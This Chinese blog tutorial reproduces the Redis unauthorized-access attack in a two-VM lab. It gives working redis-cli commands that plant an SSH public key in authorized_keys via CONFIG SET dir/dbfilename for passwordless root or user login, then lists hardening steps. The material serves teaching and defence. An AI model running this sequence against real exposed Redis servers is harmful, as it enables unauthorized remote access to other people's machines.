Redis未授權(quán)訪問漏洞的利用及防護

什么是Redis未授權(quán)訪問漏洞?

Redis在默認情況下,會綁定在0.0.0.0:6379。如果沒有采取相關(guān)的安全策略,比如添加防火墻規(guī)則、避免其他非信任來源IP訪問等,這樣會使Redis服務(wù)完全暴露在公網(wǎng)上。如果在沒有設(shè)置密碼認證(一般為空)的情況下,會導(dǎo)致任意用戶在訪問目標服務(wù)器時,可以在未授權(quán)的情況下訪問Redis以及讀取Redis的數(shù)據(jù)。攻擊者在未授權(quán)訪問Redis的情況下,利用Redis自身的提供的config命令,可以進行文件的讀寫等操作。攻擊者可以成功地將自己的ssh公鑰寫入到目標服務(wù)器的 /root/.ssh文件夾下的authotrized_keys文件中,進而可以使用對應(yīng)地私鑰直接使用ssh服務(wù)登錄目標服務(wù)器。

簡單來講,我們可以將漏洞的產(chǎn)生歸結(jié)為兩點:

  • redis綁定在 0.0.0.0:6379,且沒有進行添加防火墻規(guī)則、避免其他非信任來源IP訪問等相關(guān)安全策略,直接暴露在公網(wǎng)上
  • 沒有設(shè)置密碼認證(一般為空),可以免密碼遠程登錄redis服務(wù)


    image

漏洞可能產(chǎn)生的危害:

  • 攻擊者無需認證訪問到內(nèi)部數(shù)據(jù),可能導(dǎo)致敏感信息泄露,黑客也可以通過惡意執(zhí)行flushall來清空所有數(shù)據(jù)
  • 攻擊者可通過EVAL執(zhí)行l(wèi)ua代碼,或通過數(shù)據(jù)備份功能往磁盤寫入后門文件
  • 如果Redis以root身份運行,黑客可以給root賬戶寫入SSH公鑰文件,直接通過SSH登錄受害者服務(wù)器

既然我們已經(jīng)知道了攻擊手法,那么我們該如何實現(xiàn)這一漏洞的利用呢?

Redis未授權(quán)訪問漏洞的利用

環(huán)境準備

兩臺主機(這里我選擇的是兩臺虛擬機,一臺用的是Ubuntu,一臺用的是Kali Linux)

一、 安裝redis服務(wù)

1.從官網(wǎng)下載redis源碼的壓縮包

wget http://download.redis.io/releases/redis-3.2.11.tar.gz 
image

2.下載完成后,解壓壓縮包

tar xzf redis-3.2.11.tar.gz

3.然后進入解壓后的目錄:cd redis-3.2.11,輸入make并執(zhí)行

image

出現(xiàn)如下即編譯成功:
image

  1. make結(jié)束后,進入src目錄:cd src,將redis-server和redis-cli拷貝到/usr/bin目錄下(這樣啟動redis-server和redis-cli就不用每次都進入安裝目錄了)

    image

    你可能會碰到如下問題:

    python@ubuntu:~/Desktop/redis-3.2.11/src$ sudo cp redis-server /usr/bin/
    cp: 無法創(chuàng)建普通文件'/usr/bin/redis-server': 文本文件忙
    這個時候你先去檢查/usr/bin目錄下是否已經(jīng)存在redis-server,如果不存在的話,我們選擇停止服務(wù):

    python@ubuntu:~/Desktop/redis-3.2.11/src$ redis-cli -h 127.0.0.1 -p 6379 shutdown

或者直接殺死進程就好了:

python@ubuntu:~/Desktop/redis-3.2.11/src$ sudo kill -9 PID
image

我們再啟動服務(wù)就好了~

python@ubuntu:~/Desktop/redis-3.2.11/src$ redis-server

image

此時我們再檢查下/usr/bin目錄下是否有redis-cli和redis-server:

python@ubuntu:~$ ls /usr/bin | grep redis;
image
  1. 返回目錄redis-3.2.11,將redis.conf拷貝到/etc/目錄下

    python@ubuntu:~/Desktop/redis-3.2.11$ sudo cp redis.conf /etc/


    image
  2. 編輯etc中的redis配置文件redis.conf

    python@ubuntu:~/Desktop/redis-3.2.11$ vim /etc/redis.conf
    去掉ip綁定,允許除本地外的主機遠程登錄redis服務(wù):


    image

    關(guān)閉保護模式,允許遠程連接redis服務(wù):


    image
  3. 使用/etc/目錄下的redis.conf文件中的配置啟動redis服務(wù)

    root@kali:~/桌面/redis-3.2.11# redis-server /etc/redis.conf


    image

    這里我又踩了一個大坑,我遇到了這樣一個問題:

    python@ubuntu:~/Desktop/redis-3.2.11/src$ redis-server /etc/redis.conf

    *** FATAL CONFIG FILE ERROR ***
    Reading the configuration file, at line 80

    'protected-mode no'
    Bad directive or wrong number of arguments


    image

    這個問題困擾了我很久,后面驚奇的發(fā)現(xiàn),是因為redis.conf和當前版本的redis不匹配造成的問題,當前Ubuntu的Redis版本是3.0.6,而redis.conf的版本是3.2.11,后面才知道是因為我Ubuntu里面已經(jīng)裝過Redis造成的,解決方法如下:

卸載老版本redis-server:

sudo apt-get remove redis-server

由于之前已經(jīng)下載了redis-3.2.11的版本,所以我們直接make就好了,照著上面的步驟重新來一遍就OK了。


image

我們可以看到,版本對應(yīng)上去了,都是3.2.11,也能夠完成reids.conf文件中的配置啟動redis服務(wù)。

二、安裝ssh服務(wù)

由于Ubuntu和Kali Linux已經(jīng)安裝有ssh服務(wù),但默認沒有啟動,需使用systemctl start sshd命令啟動ssh服務(wù)。

那么我們該怎么確定有沒有安裝ssh服務(wù)呢?你嘗試一下service sshd start命令:

fauked to start sshd.service: Unit sshd.service not found

如果出現(xiàn)上述結(jié)果時,說明你的虛擬機沒有安裝ssh服務(wù),此時你需要運行以下命令安裝ssh服務(wù):

sudo apt-get install openssh-server

再次運行以下命令確認ssh服務(wù)是否開啟:

ps -e  | ssh

最后顯示:3228 ? 00:00:00 sshd說明ssh服務(wù)器已啟用
我們讓這兩臺虛擬主機配置相同的Redis環(huán)境,一臺作為受害者的靶機,一臺作為攻擊者的主機。

至此,我們已經(jīng)成功搭建完成了漏洞利用的環(huán)境,此時的redis服務(wù)是可以以root用戶身份遠程免密碼登錄的。

三、復(fù)現(xiàn)漏洞利用場景

1.我們先通過ifconfig測試一下兩臺主機的IP地址

image

我們可以看到,Ubuntu的IP地址是192.168.152.133,Kali Linux的IP地址是192.168.152.131,所以我們不需要修改任何東西,但如果IP地址相同,我們修改其中一臺虛擬機的IP:

ifconfig 網(wǎng)卡名稱(比如ens33) 我們要修改成的IP地址(比如192.168.152.135) up

我們必須保證兩臺主機能夠相互ping通


image
  1. 我們假設(shè),Ubuntu為虛擬機A,Kali Linux為虛擬機B。虛擬機A(192.168.152.133)為受害者的主機,虛擬機B(192.168.152.131)為攻擊者的主機

  2. 在A中開啟redis服務(wù):redis-server /etc/redis.conf

  3. 新開一個終端,在主機A中執(zhí)行mkdir /root/.ssh命令,創(chuàng)建ssh公鑰存放目錄(A是作為ssh服務(wù)器使用的)

  4. 在B中生成ssh公鑰和私鑰,密碼設(shè)置為空


    image
  5. 進入.ssh目錄:cd .ssh/,將生成的公鑰保存到kitty.txt

    root@kali:~/.ssh# (echo -e "\n\n";cat id_rsa.pub; echo -e "\n\n") > kitty.txt
    8.將kitty.txt寫入redis(使用redis-cli -h IP命令連接主機A,將文件寫入)

    root@kali:~/.ssh# cat kitty.txt | redis-cli -h 192.168.152.133 -x set crack
    OK


    image
  6. 遠程登錄主機A的redis服務(wù):redis-cli -h 192.168.0.146并使用config get dir命令得到redis備份的路徑

    root@kali:~/.ssh# redis-cli -h 192.168.152.133
    192.168.152.133:6379> config get dir

    1. "dir"
    2. "/home/python/.ssh"


      image
  7. 更改redis備份路徑為ssh公鑰存放目錄(一般默認為/root/.ssh,這里我沒有登錄root用戶,我登錄的用戶名是python,所以Ubuntu的默認路徑是/home/python/.ssh,所以不需要更改)

10.設(shè)置上傳公鑰的備份文件名字為authorized_keys

192.168.152.133:6379> config set dbfilename authorized_keys
OK

11.檢查是否更改成功(查看有沒有authorized_keys文件),沒有問題就保存然后退出,至此,我們成功地寫入ssh公鑰到靶機上

192.168.152.133:6379> config get dbfilename
1) "dbfilename"
2) "authorized_keys"
192.168.152.133:6379> save
OK
192.168.152.133:6379> exit

12.開啟主機A和主機B的ssh服務(wù)(Fedor默認ssh服務(wù)關(guān)閉),命令為systemctl start sshd.service

image

13.在主機B使用ssh免密登錄主機A

root@kali:~/.ssh# ssh -i id_rsa python@192.168.152.133
image

很明顯,我們已經(jīng)登錄成功了!至此,我們成功地利用redis未授權(quán)訪問漏洞實現(xiàn)了ssh免密登錄到目標服務(wù)器上。

Redis未授權(quán)訪問漏洞的防護

禁止遠程使用一些高危命令

我們可以通過修改redis.conf文件來禁用遠程修改DB文件地址

rename-command FLUSHALL ""
rename-command CONFIG   ""
rename-command EVAL     ""

低權(quán)限運行Redis服務(wù)

為Redis服務(wù)創(chuàng)建單獨的userhome目錄,并且配置禁止登陸

groupadd -r redis && useradd -r -g redis redis

為Redis添加密碼驗證

我們可以通過修改redis.conf文件來為Redis添加密碼驗證

requirepass mypassword

禁止外網(wǎng)訪問 Redis

我們可以通過修改redis.conf文件來使得Redis服務(wù)只在當前主機可用

bind 127.0.0.1

保證authorized_keys文件的安全

為了保證安全,您應(yīng)該阻止其他用戶添加新的公鑰。將authorized_keys的權(quán)限設(shè)置為對擁有者只讀,其他用戶沒有任何權(quán)限

chmod 400 ~/.ssh/authorized_keys

為保證authorized_keys的權(quán)限不會被改掉,您還需要設(shè)置該文件的immutable位權(quán)限

chattr +i ~/.ssh/authorized_keys

然而,用戶還可以重命名~/.ssh,然后新建新的~/.ssh目錄和authorized_keys文件。要避免這種情況,需要設(shè)置~./ssh的immutable位權(quán)限

chattr +i ~/.ssh

如果需要添加新的公鑰,需要移除authorized_keys的 immutable 位權(quán)限。然后,添加好新的公鑰之后,按照上述步驟重新加上immutable位權(quán)限

?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成,瀏覽時請結(jié)合常識與多方信息審慎甄別。
平臺聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點,簡書系信息發(fā)布平臺,僅提供信息存儲服務(wù)。

相關(guān)閱讀更多精彩內(nèi)容

友情鏈接更多精彩內(nèi)容